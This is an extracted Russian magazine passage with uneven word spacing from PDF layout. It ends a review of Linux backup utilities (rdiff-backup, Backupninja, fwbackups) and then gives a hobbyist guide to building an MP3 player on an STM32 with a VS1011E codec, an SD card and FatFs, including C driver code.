  вдох новлен  rsync  и  поз воля ет  соз давать  инкре мен тные  фай ловые

копии. Rdiff‐backup уме ет сох ранять бэкапы на локаль ной машине или в сети
по SSH, но тог да на вто рой машине тоже дол жен быть уста нов лен rdiff‐back‐
up. Для под дер жки атри бутов фай лов необ ходима допол нитель ная питонов‐ 
ская либа, но ука зыва ется, что с ними все рав но могут воз никнуть проб лемы.

Про ект

Вос ста нов ление мож но выпол нить с помощью клю ча   с ука зани ем нуж‐ 
ного бэкапа по точ ному вре мени его соз дания (в днях) или по номеру, счи тая
от пос ледне го бэкапа. По каж дой сес сии копиро вания тул за пишет файл ста‐ 
тис тики,  из  которо го  мож но  уви деть,  нап ример,  сколь ко  фай лов  появи лось
или  было  уда лено  с  момен та  пос ледне го  копиро вания  и  сколь ко  вре мени
занял сам про цесс.

‐r

Rdiff‐backup в ходе оче ред ного бэкапа опре деля ет парамет ры хос товой
фай ловой сис темы, а потом отка тыва ет на две копии назад

Раз работ чик почему‐то под черки вает, что rdiff — это Reverse differential back‐
up tool, то есть, в отли чие от «обыч ного моюще го средс тва», она может вос‐ 
ста новить  ста рый  вари ант  фай ла,  а  не  толь ко  самую  пос леднюю  вер сию.
Это  полез но,  если  ты  слу чай но  уда лил  часть  докумен та  и  соз данный  пос ле
это го  бэкап  уже  не  содер жит  унич тожен ных  тобой  дан ных.  Хотя  вооб ще‐то
не  одна  толь ко  эта  прог рамма  поз воля ет  так  делать.  Еще  во  всех  отзы вах,
которые  мне  уда лось  най ти,  отме чает ся,  что  rdiff‐backup  работа ет  замет но
мед ленней  в  срав нении,  нап ример,  с  rsync  и  rsnapshot.  Осо бен но  ког да
из нес коль ких тысяч фай лов были изме нены пара сотен.

Backupninja
Это  прог рамма  для  цен тра лизо ван ного  управле ния  ути лита ми  резер вно го
копиро вания, по сути обер тка над их фун кци ональ ностью. Базиру ется на du‐
plicity  и  rdiff‐backup,  то  есть  с  ее  помощью  мож но  делать  зашиф рован ные
и  под писан ные  копии  и  переда вать  их  по  SSH.  Так же  Backupninja  уме ет
делать tar‐архи вы со сжа тием или без, копии баз дан ных MySQL, PostgreSQL,
OpenLDAP  и  subversion  и  писать  копии  на  дис ки.  Работа ет  с  Linux‐VServer.
Дос тупны  .ис ходни ки

В ком плек те с Backupninja пос тавля ется ninjahelper — псев догра фичес кая
обо лоч ка,  в  которой  мож но  удоб но  и  наг лядно  нас тра ивать  задания
для резер вно го копиро вания, не тра тя вре мя и силы на изу чение клю чей раз‐ 
ных ути лит, хотя при наборе длин ных путей прог рамме явно не хва тает авто‐ 
допол нения.

Ме ню соз дания задачи в ninjahelper

fwbackups
Гра фичес кая   с прос тым и понят ным интерфей сом, в которой мож но
соз давать «наборы резер вирова ния»  (Sets) — про фили — и экспор тировать
их.  Бэкап  сох раня ется  в  виде  архи ва  или  фай ловой  копии  локаль но  либо
переда ется  по  SSH.  Инкре мен тное  копиро вание  под держи вает ся  толь ко
в  слу чае  фай ловых  копий.  Fwbackups  уме ет  выпол нять  ротацию  бэкапов
и вос ста нов ление из них.

ути лита

Мож но ука зать в нас трой ках рас писания, в который час какого дня недели
и  месяца  сле дует  выпол нять  копиро вание,  либо  мож но  запус тить  его  вруч‐ 
ную. В рас ширен ных опци ях  ука зыва ются коман ды,  которые будут запуще ны
до и пос ле  выпол нения резер вно го  копиро вания,  а  так же исклю чения. При‐ 
меча тель но, что  fwbackups поз воля ет выпол нить разовую (One‐Time Backup)
копию без соз дания про филя.

Соз дание набора резер вирова ния в fwbackups

И ЧЕМ БЭКАПИТЬ?
За висит от кон крет ной задачи. Боль шую часть типовых задач успешно реша ет
rsync: это сво его рода столп син хро низа ции и резер вно го копиро вания в Lin‐
ux.  На  базе  ее  широчай ших  воз можнос тей  соз дают ся  дру гие  при ложе ния
со сво ими осо бен ностя ми: luckyBackup, rsnapshot, rdiff‐backup и не толь ко.

Хо чешь все и сра зу? Поп робуй duplicity и Bacula. Duplicity нацеле на изна‐ 
чаль но  на  соз дание  защищен ных  копий,  для  чего  при меня ет  шиф рование
и  циф ровые  под писи,  но  она  не  под держи вает  жес ткие  ссыл ки.  Bacula  —
это  вооб ще  целая  инфраструк тура,  которую  нет  смыс ла  раз ворачи вать
для  резер вирова ния  дан ных  с  одно го  ком па,  если  толь ко  тебе  не  хочет ся
повозить ся с нас трой ками.

Все  рас смот ренные  прог раммы  уме ют  работать  с  сетью,  так  что  они
как  минимум  под ходят  для  орга низа ции  резер вно го  копиро вания  в  SOHO.
Гра фичес кие вари анты поз воля ют нас тро ить все еще быс трее.

В  любом  слу чае  ману алов  по  перечис ленно му  в  обзо ре  соф ту  пре дос‐ 
таточ но.  Поэто му  выбирай  для  каж дой  задачи  под ходящий  инс тру мент,
не забивай гвоз ди отвер ткой — и будет тебе счастье!

https://rsnapshot.org/
https://xakep.ru/2017/07/14/howto-linux-simple-backup/
https://github.com/rsnapshot/rsnapshot/blob/master/docs/HOWTOs/rsnapshot-HOWTO.en.html
https://rdiff-backup.net/
https://0xacab.org/riseuplabs/backupninja
https://diffingo.com/oss/fwbackups/
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ТРЮКИ

Мас терить свои элек трон ные устрой ства —
занятие,  может  быть,  и  не  очень  прак‐ 
тичное,  но  увле катель ное  и  поз наватель‐ 
ное. В этой статье я рас ска жу, как я соз дал
собс твен ный музыкаль ный пле ер. В резуль‐ 
тате  получит ся,  конеч но,  не  iPod  nano  (и
даже не mini), но зато мы пос мотрим, как на
C  работать  с  раз ным  железом —  SD‐кар‐ 
той, кодеком, экра ном и кла виату рой.

INFO

В    я  рас ска зал,  как  собирал
мобиль ный телефон, и некото рые при емы я поза‐ 
имс твую из это го про екта.

прош лой  статье

Пом ню, как в 2004 году у меня появил ся MP3‐пле ер и при вел меня в пол ный
вос торг. Памяти, у него, прав да, было все го 128 Мбайт, что по тем вре менам
уже счи талось скром ным. Кро ме того, пле ер отли чал ся очень дур ной осо бен‐ 
ностью ковер кать записан ные на него фай лы. Как объ ясня лось в инс трук ции,
это не баг, а «фича», то есть защита от копиро вания.

Сей час,  конеч но,  MP3‐пле еры  уже  не  поль зуют ся  былой  популяр ностью
и музыку  все  слу шают  с  телефо нов,  но  в  качес тве  цели  для  сво его  про екта
это неп лохой выбор — не три виаль ный, но впол не посиль ный.

Итак, от сво его про екта я хотел, что бы:
ус трой ство (оче вид но) вос про изво дило MP3;•
под держи вались сов ремен ные кар ты SD;•
в качес тве фай ловой сис темы исполь зовалась FAT;•
ка чес тво зву чания было при емле мым;•
по воз можнос ти было невысо кое энер гопот ребле ние.•

КОМПОНЕНТЫ
За осно ву устрой ства я взял недоро гой MP3‐кодек VS1011E. На самом деле
разум нее  было  бы  выб рать  более  прод винутые
VS1053  или  VS1063  или  обновлен ную  вер сию  VS1011 —  VS1003  (у  нее  так‐ 
товая час тота выше), сто ят они все при мер но оди нако во.

Од нако вни кать в эти тон кости я не стал и оста новил ся на пер вой попав‐ 
шей ся  мик росхе ме.  В  качес тве  кон трол лера  я  взял  STM32F103C8T6,  что бы
мож но  было  сде лать  макет,  исполь зуя  готовую  пла ту  Blue  Pill,  а  уже  потом
соб рать все по‐серь езно му. Экран я выб рал TFT, раз решение — 128 на 160
(ST7735). У меня для него уже есть написан ные ранее биб лиоте ки.

Код, как и в слу чае с телефо ном, мы будем писать на C с исполь зовани ем
биб лиотек libopencm3 и FatFs.

Ус трой ство  будет  работать  прос то:  читать  дан ные  из  фай ла  на  флеш ке
и скар мли вать кодеку, а все осталь ное кодек сде лает сам.

МАКЕТ
Преж де чем перехо дить к коду, есть смысл соб рать макет устрой ства (я вооб‐ 
ще пок лонник отладки прог рамм на реаль ном железе). Берем пла ту Blue Pill
и  под паиваем  к  ней  модуль  дис плея  с  кар тодер жателем.  Пай ка  поз воля ет
нам не стал кивать ся с проб лемой дре без га соеди нений, которая может дос‐ 
тавить мно го неп рият ностей на эта пе отладки.

Тес товый модуль для VS1011 я соб рал на макет ке, исполь зовав переход‐ 
ник с QNF48 на DIP, схе му которо го я пос мотрел в даташи те. На самом деле
так замора чивать ся необя затель но — мож но взять готовый модуль. Но у меня
его не было, а ждать не хотелось.

В  ито ге  я  все  это  соб рал  за  нес коль ко  часов  и  был  готов  перехо дить
к коду.

Схе ма пле ера

Ма кет устрой ства

Ма кет ная пла та кодека VS1011

Ма кет ная пла та кодека VS1011

Дис плей макета с ран ним вари антом интерфей са

ШАБЛОН БУДУЩЕЙ ПРОГРАММЫ
Преж де  чем  писать  основные фун кции,  полез но  ини циали зиро вать  дис плей
и  кла виату ру.  Про  дис плей  я  уже  говорил  выше,  а  кла виату ра  четыре
на четыре кноп ки у меня оста лась от макета телефо на.

В  исходни ке  ниже  —  стан дар тные  заголо воч ные  фай лы,  фун кции  ини‐ 
циали зации  перифе рии,  фун кции  ини циали зации  дис плея  и  кла виату ры  и  в
кон це вывод строч ки Hello world.

sd.c

#include <libopencm3/stm32/rcc.h>
#include <libopencm3/stm32/gpio.h>
#include <libopencm3/stm32/spi.h>
#include "st7735_128x160.h"
#include "st_printf.h"
#include "4x4key.h"

static void key_init(void){
 // Инициализация клавиатуры четыре на четыре

}
static void spi2_init(void){
 //spi2 ‐ vs1011
 /* Configure GPIOs:
  * 
  * SCK=PB13
  * MOSI=PB15 
  * MISO=PB14
  * 
  * for vs1011e
  * VS_CCS PB6
  * VS_RST PB9
  * VS_DREQ PB8
  * VS_DCS PB5
  * 
  */
 ... 

}

static void spi1_init(void){
 //spi1 ‐ display
 /* Configure GPIOs:
  * 
  * SCK=PA5
  * MOSI=PA7 
  * MISO=PA6
  * 
  * for st7735
  * STCS PA1
  * DC=PA3
  * RST PA2
  * 
  * for SD card
  * SDCS PA0
  */
}

void main(){
 rcc_clock_setup_in_hse_8mhz_out_72mhz();
 spi1_init();
 spi2_init();
 st7735_init();
 st7735_clear(BLACK);
 st7735_set_printf_color(GREEN,BLACK);
 stprintf("Display is OK!\r\n");
 key_init();
 while(1) __asm__("nop");

}

Так же  в  мей кфай ле  нуж но  добавить  дирек торию  с  исходни ками  биб лиотек
и сами биб лиоте ки. Ниже — фраг мент  :Makefile

...
SHARED_DIR = ./inc ./fatfs
CFILES = sd.c
CFILES += st7735_128x160.c st_printf.c
CFILES += 4x4key.c
...

ДРАЙВЕР КАРТЫ SD
Без драй вера работать с кар точка ми SD никак не получит ся, поэто му нач нем
с него. Чте ние и запись дис ков SDHC про исхо дит бло ками по 512 байт. Наш
драй вер дол жен уметь: записы вать блок на диск, читать блок с дис ка и ини‐ 
циали зиро вать диск.

WWW

Най ти  докумен тацию  по  работе  с  кар тами  SD
по  SPI  —  не  проб лема,  она  есть  в  том  чис ле
на рус ском.
•STM. Урок 88. SD. SPI. FATFS
•Учим ся работать с SDHC/SDXC‐кар тами по про‐ 
токо лу SPI

•How to Use MMC/SDC

Тем не менее тут есть нес коль ко важ ных и не очень оче вид ных момен тов, зна‐ 
ние которых силь но уско рит написа ние и отладку драй вера. Во‐пер вых, если
вмес те с SD на шине SPI сидят дру гие устрой ства,  то ини циали зиро вать SD
нуж но пер вой, ина че она не заведет ся.

Во‐вто рых,  ини циали зацию надо про изво дить  на дос таточ но низ кой  час‐ 
тоте  шины  (око ло  500  кГц),  ина че  SD  не  отве чает.  Уже  потом  мож но  вык‐ 
ручивать час тоту на мак симум (у меня сто ит 36 МГц, это око ло 4 Мбит/с).

В‐треть их, кар ты SD быва ют нес коль ких типов и ини циали зация у каж дого
типа своя. Я ори енти ровал ся на наибо лее сов ремен ные и рас простра нен ные
сей час кар ты SDHC, и мой вари ант фун кции ини циали зации написан имен но
для них.

В    на  сай те  Элма  Чана  мож но  най ти  уни вер саль ную  фун кцию
ини циали зации. Собс твен но, я ста рал ся написать минималь но необ ходимый
драй вер,  поэто му  он  под держи вает  толь ко  один  тип  карт,  а  так же  запись
и чте ние по одно му сек тору. Впро чем, во вре мя отладки ста ло ясно, что мно‐ 
госек торные чте ние и запись и не нуж ны.

при мерах

Об рати  вни мание,  что  перед  отправ кой  команд  ини циали зации  по шине
нуж но переда вать 80 так товых импуль сов при высоком уров не на кон такте CS
кар ты. Это нуж но для перек лючения SD в режим SPI (обыч ный режим кар ты —
SDIO).  Пос ле  это го  CS  опус кают  и  начина ют  ини циали зацию,  на  которой  я
оста нав ливать ся не буду.

sdcard.c

uint8_t sd_init(){
 uint8_t n, cmd, ty, ocr[4];
 uint16_t i;
 for(n=10; n; n‐‐) spi_xfer(SDSPI,0xff); // 80 dummy clocks
 ty = 0;

 SDCS_DOWN();
 // Enter Idle state
 send_cmd(CMD0, 0);
 // SDHC

 if (send_cmd(CMD8, 0x1AA) == 1){
   // Get trailing return value of R7 response
   for (n = 0; n < 4; n++) ocr[n] = spi_xfer(SDSPI,0xff);
   // The card can work at VDD range of 2.7‐3.6V
   if (ocr[2] == 0x01 && ocr[3] == 0xAA){
     // Wait for leaving idle state (ACMD41 with HCS bit)
     i=0xfff;
     while (‐‐i && send_cmd(ACMD41, 1UL << 30));
     if (i && send_cmd(CMD58, 0) == 0){
       // Check CCS bit in the OCR
       for (n = 0; n < 4; n++) ocr[n] = spi_xfer(SDSPI,0xff);
       ty = (ocr[0] & 0x40) ? CT_SD2 | CT_BLOCK : CT_SD2;
     }
   }
 }
 SDCS_UP();
 return ty;

}

У  кар точек  SD  есть  неп рият ная  склон ность  дер жать  MISO  в  высоком  сос‐ 
тоянии  еще  нес коль ко  так тов  CLK  пос ле  подачи  низ кого  уров ня  на  CS.
Это лечит ся переда чей бай та 0xFF по шине при высоком уров не на CS. Впро‐ 
чем, в моем слу чае это не кри тич но.

Ни же —   и   из фай ла  .read write sdcard.c

uint8_t sd_read_block(uint8_t *buf, uint32_t lba){
 uint8_t result;
 uint16_t cnt=0xffff;
 SDCS_DOWN();  
 result=send_cmd(CMD17, lba); // CMD17 даташит с. 50 и 96
 if(result){SDCS_UP(); return 5;} // Выйти, если результат не 0x00

 spi_xfer(SDSPI,0xff);
 cnt=0;
 do result=spi_xfer(SDSPI,0xff); while ((result!=0xFE)&&‐‐cnt);
 if(!cnt){SDCS_UP(); return 5;}

 for(cnt=0;cnt<512;cnt++) *buf++=spi_xfer(SDSPI,0xff); 
 // Получаем байты блока из шины в буфер
 spi_xfer(SDSPI,0xff); // Пропускаем контрольную сумму
 spi_xfer(SDSPI,0xff);
 SDCS_UP();
 spi_xfer(SDSPI,0xff);
 return 0;

}

uint8_t sd_write_block (uint8_t *buf, uint32_t lba){
 uint8_t result;
 uint16_t cnt=0xffff;
 SDCS_DOWN();
 result=send_cmd(CMD24,lba); // CMD24 даташит с. 51 и 97–98
 if(result){SDCS_UP(); return 6;} // Выйти, если результат не 0x00

 spi_xfer(SDSPI,0xff);
 spi_xfer(SDSPI,0xfe); // Начало буфера
 for (cnt=0;cnt<512;cnt++) spi_xfer(SDSPI,buf[cnt]); // Данные
 spi_xfer(SDSPI,0xff);
 spi_xfer(SDSPI,0xff);
 result=spi_xfer(SDSPI,0xff);
 // result=wait_ready();
 if((result&0x05)!=0x05){SDCS_UP(); return 6;} 
 //spi_xfer(SDSPI,0xff);
 WSPI();

 // Выйти, если результат не 0x05 (Даташит с. 111)
 // if(wait_ready()==0xFF){SDCS_UP(); return 6;}
 SDCS_UP();
 spi_xfer(SDSPI,0xff);
 return 0;

}

Пос ле  того  как  я  пару  дней  про ковы рял ся  с  логичес ким  ана лиза тором,  эта
шту ка ста ла ини циали зиро вать ся, читать и писать.

Те перь  надо  добавить  биб лиоте ку    и  ее  заголо воч ный  файл
в  про ект,  а  в фун кцию   —  ини циали зацию  SD‐кар ты.  И  тут  мы  вспо‐ 
мина ем, что SPI1 у нас нас тро ен на низ кую ско рость для успешной ини циали‐ 
зации (FCPU/128 ~500 кГц), а с экра ном на такой ско рос ти работать неудоб‐ 
но. Поэто му добав ляем фун кцию  , которая, по сути, пов‐ 
торно ини циали зиру ет SPI1, но с повышен ной час тотой (FCPU/2 36 МГц).

sdcard.c
main()

spi1_forsage(void)

...
static void spi1_forsage(void){
 ...

}
...
void main(){
 ...
 spi1_init();
 ...
 sd_init();
 spi1_forsage();
 ...

}

SD‐кар та у нас теперь есть, но для работы нуж на еще фай ловая сис тема.

Нес коль ко слов про отладку
Рань ше  я  для  отладки  час то  исполь зовал  вывод  по  UART,  одна ко  ког да
у устрой ства есть свой дис плей и на него нап равлен стан дар тный вывод, то
не  нуж но  даже  под клю чать  UART,  дос таточ но  поль зовать ся  фун кци ей

. Имен но с ее помощью я ана лизи ровал вызовы  .stprintf() discio.c
Ни же — при мер отла доч ных сооб щений в   (отла доч ные коман ды

заком менти рова ны).
discio.h

DRESULT disk_write(BYTE pdrv, const BYTE *buff, LBA_t sector, UINT 
count){
  //SDCS_UP();
  //stprintf("d_w(pdrv=%d,sec=%d,cnt=%d\r\n",pdrv,sector,count);
  //SDCS_DOWN();
  uint8_t ret=0;
  //if(count==1){
    //ret=sd_write_block(buff,sector);
    //stprintf("w_ret_code=%d",ret);
    //if(ret==6) return RES_ERROR;
  //} else return RES_ERROR;

  while(count){
    if(sd_write_block(buff,sector)) return RES_ERROR;
    ‐‐count;
    ++sector;
    buff+=512;
  }
  //stprintf("WresOK\r\n");
  return RES_OK;
}

В резуль тате при каж дом вызове фун кции   на экран выводят ся
переда ваемые ей  аргу мен ты и  воз вра щаемое  зна чение  .
Я дол го не мог понять, почему запись на диск через FatFs не получа ется, хотя
логичес кий ана лиза тор говорит, что все идет как надо: и пря мой вызов фун‐ 
кции  ,  и  пос леду ющий  вызов    показы‐ 
вали, что запись и чте ние работа ют.

disk_write()
sd_write_block()

sd_write_block() sd_read_block()

Ока залось,  что  фун кция    успешно  выпол няла  запись,
но не воз вра щала 0 и FatFs счи тала это ошиб кой записи. Ошиб ку я испра вил,
а отла доч ные сооб щения заком менти рова ны.

sd_write_block()

Так же в отладке край не полезен логичес кий ана лиза тор Saleae Logic (точ‐ 
нее, его китай ский клон) и  , которая отлично работа‐ 
ет в Linux и очень помога ет при отладке про токо лов.

од ноимен ная прог рамма

Продолжение статьи →
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СВОИМИ РУКАМИ
КАК СОБРАТЬ И ЗАПРОГРАММИРОВАТЬ

ГАДЖЕТ У СЕБЯ ДОМА

ТРЮКИ  НАЧАЛО СТАТЬИ←

FATFS
Что бы  про читать  файл  с  кар точки,  его  нуж но  сна чала  туда  как‐то  записать.
И удоб нее все го это сде лать, ког да на кар те есть фай ловая сис тема. Так что
под клю чаем ее к компь юте ру, фор матиру ем и копиру ем нуж ные фай лы.

Пи сать свой драй вер фай ловой сис темы ради пле ера — это все же нем‐ 
ного слиш ком даже для меня, но сущес тву ет драй вер FatFs, написан ный на C
и лег ко пор тиру емый на что угод но.

WWW

Ска чать  исходный  код  FatFs  и 
с  под робным  опи сани ем  мож но  на  все  том  же
сай те Элма Чана.

оз накомить ся

Для того что бы добавить FatFs в про ект, надо сде лать нес коль ко вещей. Пер‐ 
вая из них — вне сение изме нений в файл  .ffconf.h

#define FF_CODE_PAGE  866 // 866 — кириллическая кодовая страница
#define FF_USE_LFN    1   // Поддержка длинных имен
#define FF_MAX_LFN    255 // Максимальная длина имени, памяти у нас 
все равно полно
#define FF_LFN_UNICODE  2 // Кодировка UTF‐8
#define FF_STRF_ENCODE  3 // Кодировка UTF‐8
#define FF_FS_NORTC     1 // Заглушка для функции получения 
реального времени

Это го дос таточ но. Без под дер жки кирил лицы нам будет грус тно, а кодиров ку
UTF‐8 я  выб рал,  так  как исполь зую ее на дес кто пе и она зна читель но  упро‐ 
щает опе рации с фай лами.

Те перь нуж но отре дак тировать файл  . Находя щиеся  в  нем фун‐ 
кции  свя зыва ют  FatFs  с  драй вером  кар ты SD,  который мы  обсужда ли  выше.
Вно сим необ ходимые изме нения.

diskio.c

...
#include "sdcard.h"
#include "st_printf.h"
...
DSTATUS disk_initialize(BYTE pdrv){
 return 0;

}

Это  прос то  заг лушка,  так  как  ини циали зацию  дис ка  мы  выпол няем  вруч ную
в дру гом мес те. Вся эта чехар да свя зана с тем, что кар ту SD нуж но ини циали‐ 
зиро вать пер вой на шине.

DRESULT disk_read(BYTE pdrv, BYTE *buff, LBA_t sector, UINT count){
 //stprintf("d_r(pdrv=%d,sec=%d,cnt=%d\r\n",pdrv,sector,count);
 while(count){
   if (sd_read_block(buff,sector)) return RES_ERROR;
   ‐‐count;
   ++sector;
   buff+=512;
 }
 //stprintf("resOK\r\n");
 return RES_OK;

}

Здесь мож но было бы добавить муль тисек торное чте ние, это под нимет быс‐ 
тро дей ствие, одна ко для дан ного про екта это не так важ но. То же мож но ска‐ 
зать про запись.

DRESULT disk_write(
 BYTE pdrv,        // Номер физического диска
 const BYTE *buff, // Данные, которые будут записаны
 LBA_t sector,     // Стартовый сектор в LBA
 UINT count        // Число секторов для записи

){
 ...
 while(count){
   if(sd_write_block(buff,sector)) return RES_ERROR;
   ‐‐count;
   ++sector;
   buff+=512;
 }
 //stprintf("WresOK\r\n");
 return RES_OK;

}

И пос ледняя фун кция, которую нуж но под пра вить, — тоже заг лушка.

DRESULT disk_ioctl(
 BYTE pdrv,    // Номер физического диска
 BYTE cmd,     // Управляющий код
 void *buff    // Буфер для отправки и получения управляющего кода

){
 if(cmd == GET_SECTOR_SIZE) {
   *(WORD*)buff = 512;
   return RES_OK;
 }
 return RES_OK;

}

Те перь добав ляем заголо воч ные фай лы ( ) в про ект, а исходный код (
,   и  ) — в Makefile. Готово! У нас теперь есть под дер‐ 
жка фай ловых сис тем FAT12, 16 и 32.

ff.h ff.
c diskio.c ffunicode.c

WWW

В  бло ге  «Запис ки  прог раммис та»  есть  неп лохая
.статья про работу с биб лиоте кой FatFs

АУДИОКОДЕК VS1011E
Ауди око дек  дос таточ но  прост  в  обра щении.  Его  интерфейс  (SPI)  име ет  два
режима: режим команд (вклю чает ся низ ким уров нем на CCS) и режим дан ных
(вклю чает ся  низ ким  уров нем  на  DCS).  То  есть  со  сто роны  это  выг лядит
как два незави симых устрой ства SPI на шине.

Кро ме того, исполь зует ся еще два вывода DREQ и RST. С RST все понят‐ 
но — низ кий уро вень на нем вызыва ет перезаг рузку чипа. DREQ же показы‐ 
вает готов ность чипа при нять 32 бай та дан ных по шине.

Это  семип ровод ное  под клю чение  чипа,  которое  поз воля ет  посадить  его
на  одну шину SPI  с  дру гими  устрой ства ми. Одна ко  при  сбор ке  и  нас трой ке
макета ока залось,  что дер жать дис плей,  кар ту SD и VS1011E на одной шине
неудоб но.  Свя зано  это  в  пер вую  оче редь  с  огра ниче нием  ско рос ти  шины
VS1011. В  даташи те  ука зано,  что мак сималь ная  час тота шины — FCPU/6,  то
есть в моем слу чае 12 * 2/6 = 4 МГц. Для дис плея и кар ты памяти это слиш‐ 
ком мед ленно, и в резуль тате звук будет лагать, что неп рием лемо.

Ко неч но,  мож но  было  динами чес ки  менять  ско рость  шины,  но  я  решил
прос то перенес ти кодек на вто рой SPI, бла го у моей STM их два.

INFO

О  под клю чении  и  про токо ле  обме на  дан ными
с VS1011E есть отдель ный апно ут VS1011e SPI AN,
там  даже  при веде ны  при меры  фун кций  обме на
дан ными для раз ных вари антов под клю чения. А в
написа нии драй вера VS1011 нам поможет апно ут
VS1011E Play AN.

Итак,  что бы  наш  пле ер  заиг рал,  на  кодек  нуж но  слать  дан ные  пач ками
по 32 бай та и  учи тывать  готов ность чипа при нимать дан ные. Удоб но,  что он
про пус тит  заголов ки  MP3,  поэто му  файл  мож но  переда вать  целиком,  что
упро щает задачу.

Прис тупим. Вот  как начина ются фун кции чте ния и записи в  управля ющие
регис тры.

#define VS_CCS_DOWN() gpio_clear(VS_PORT, VS_CCS)
#define VS_CCS_UP() gpio_set(VS_PORT, VS_CCS)
#define DREQ() gpio_get(VS_PORT, VS_DREQ)
#define VS_W_SPI() while(SPI_SR(VS_SPI) & SPI_SR_BSY)

...
// Запись в регистр
void vs_write_sci(uint8_t addr, uint16_t data){
 while (!DREQ());        // Ждем готовности чипа принять данные
 VS_CCS_DOWN();          // Режим команд
 spi_xfer(VS_SPI, 2);    // 2 — команда записи
 spi_xfer(VS_SPI, addr); // Адрес регистра
 spi_xfer(VS_SPI, (uint8_t)(data>>8)); 
 spi_xfer(VS_SPI, (uint8_t)(data&0xff));
 VS_CCS_UP();

}

// Чтение из регистра
uint16_t vs_read_sci(uint8_t addr){
 uint16_t res;
 while (!DREQ());        // Ждем готовности чипа принять данные
 VS_CCS_DOWN();          // Режим команд
 spi_xfer(VS_SPI, 3);    // 3 — команда чтения
 spi_xfer(VS_SPI, addr); // Адрес регистра
 res=spi_xfer(VS_SPI, 0xff);
 res<<=8;
 res|=spi_xfer(VS_SPI, 0xff);
 VS_CCS_UP();
 return res;

}

Те перь  нуж на  фун кция  отправ ки  дан ных,  дан ные  переда ются  мас сивами
до  32  байт.  Тут  все  похоже  на  пре дыду щую  фун кцию,  но  чип  перево дит ся
в режим дан ных, и нет необ ходимос ти посылать спе циаль ную коман ду, мож но
слать дан ные сра зу.

#define VS_DCS_DOWN() gpio_clear(VS_PORT, VS_DCS)
#define VS_DCS_UP() gpio_set(VS_PORT, VS_DCS)
#define DREQ() gpio_get(VS_PORT, VS_DREQ)
#define VS_W_SPI() while(SPI_SR(VS_SPI) & SPI_SR_BSY)

...
uint8_t vs_write_sdi(const uint8_t *data, uint8_t count){
 if(count>32) return 1;
 while(!DREQ());
 VS_DCS_DOWN();
 while(count‐‐) spi_xfer(VS_SPI, *data++);
 VS_W_SPI();
 VS_DCS_UP();
 return 0; 

}

Те перь  мы  можем  ини циали зиро вать  чип.  Для  это го  ему  надо  ненадол го
опус тить RST, пос ле чего уста новить биты   и   в регис тре

. Напос ледок нуж но выс тавить кор рек тное зна чение час тоты квар ца
в регис тре  , для чего исполь зует ся удоб ный мак рос 

. Это важ но для кор рек тной ско рос ти вос про изве дения.

SM_SDINEW SM_RESET
SCI_MODE

SCI_CLOCKF HZ_TO_SCI_‐
CLOCKF(hz)

// Этот макрос для VS1011 автоматически установит
// удвоение частоты, если XTALI < 16 МГц
#define HZ_TO_SCI_CLOCKF(hz) ((((hz)<16000000)?0x8000:0)+((hz)+1000)/
2000)
#define SCI_MODE    0x00
#define SCI_CLOCKF  0x03
#define SCI_VOL     0x0B
#define SM_RESET    (1<< 2)

uint8_t vs_init(){
 gpio_clear(VS_PORT,VS_RST); // Опускаем ненадолго ресет
 VS_CCS_UP(); // На всякий случай поднимаем CCS и DCS
 VS_DCS_UP();
 gpio_set(VS_PORT,VS_RST); // Поднимаем ресет

 vs_write_sci(SCI_MODE, SM_SDINEW|SM_RESET); // Устанавливаем 
 // режим обмена данными и делаем софтверный ресет,
 // как рекомендовано в даташите и апнотах,
 // указываем частоту кварца, так как у нас нестандартная 12 МГц
 vs_write_sci(SCI_CLOCKF, HZ_TO_SCI_CLOCKF(12000000));

 // Устанавливаем громкость на 6 дБ ниже максимума
 // Максимум громкости — 0x0000, минимум — 0xfefe,
 // старший и младший байты независимо задают
 // громкость каналов
 vs_write_sci(SCI_VOL, 0x3f3f);
 return 0;

}

Те перь мож но перей ти непос редс твен но к про игры ванию фай лов.

РЕАЛИЗАЦИЯ ПЛЕЕРА
В  упо мяну том  выше  апно уте  VS1011  AN  Play  есть  при мер  реали зации  пле‐ 
ера — на него‐то я и ори енти ровал ся.

Рас смот рим  работу  фун кции  .  Откры ваем MP3‐
файл фун кци ями FatFs, чита ем отту да 512 байт в буфер и начина ем отда вать
дан ные из буфера в кодек груп пами по 32 бай та по мере готов ности чипа их
при нять. Впро чем, ожи дание готов ности уже есть в фун кции 
так что тут об этом мож но не задумы вать ся.

play_file(char  *name)

,vs_write_sdi()

Пос ле  отправ ки  нес коль ких  таких  пакетов  мож но  опро сить  кла виату ру
и  интерфейс  (что бы  при бав лялся  прог ресс‐бар,  нап ример).  Ког да  буфер
опус теет, счи тыва ем еще 512 байт и пов торя ем сно ва. Если файл закон чится
рань ше, чем запол нится буфер, — не страш но, будем отда вать по 32 бай та,
пока  есть  такая  воз можность,  а  пос ледний  пакет  будет  короче  32  байт.
Для опре деле ния таких слу чаев исполь зуем мак рофун кцию  .min(a,b)

#define FILE_BUFFER_SIZE 512
#define SDI_MAX_TRANSFER_SIZE 32
#define SDI_END_FILL_BYTES 512 // Здесь может быть любое значение
#define min(a,b) (((a)<(b))?(a):(b))

uint8_t play_file(char *name){
 ...
 FIL file;
 uint8_t playBuf[512];
 uint16_t bytes_in_buffer, bytes_read, t; // Сколько байтов 

осталось в буфере
 uint32_t pos=0, cnt=0, fsize=0;          // Позиция в файле
 uint32_t nread;
 uint16_t sr,dt,min,sec,hdat0;
 uint8_t key,bar=0,bitrate=8;
 ...
 if(f_open(&file, name, FA_READ)) stprintf("open file error!\r\n");
 ...

 do{
   f_read(&file, playBuf, FILE_BUFFER_SIZE, &bytes_read);
   uint8_t *bufP = playBuf;
   bytes_in_buffer=bytes_read;

   do{
     t = min(SDI_MAX_TRANSFER_SIZE, bytes_in_buffer);
     vs_write_sdi(bufP, t);
     bufP += t;
     bytes_in_buffer ‐= t;
     pos += t;
   } while (bytes_in_buffer);

   cnt++;
   if(cnt>bitrate){
     cnt=0;
     // Здесь опрашиваем клавиатуру и рисуем интерфейс 
   }
 } while(bytes_read==FILE_BUFFER_SIZE);

 return CODE;
}

Та кая вот по сути нехит рая фун кция, если уда лить из нее рюшеч ки и все, свя‐ 
зан ное с интерфей сом,  но  в  таком виде фун кция неудоб на,  поэто му реали‐ 
зуем интерфейс.

ИНТЕРФЕЙС
Про  вывод  на  дис плей  128  на  160  на  пла те  ST7735  я  уже  писал  в  статье
про  телефон.  Одна ко  для  это го  про екта  приш лось  реали зовать  под дер жку
UTF‐8, хоть и в уре зан ном виде. Под держи вают ся сим волы латини цы и кирил‐ 
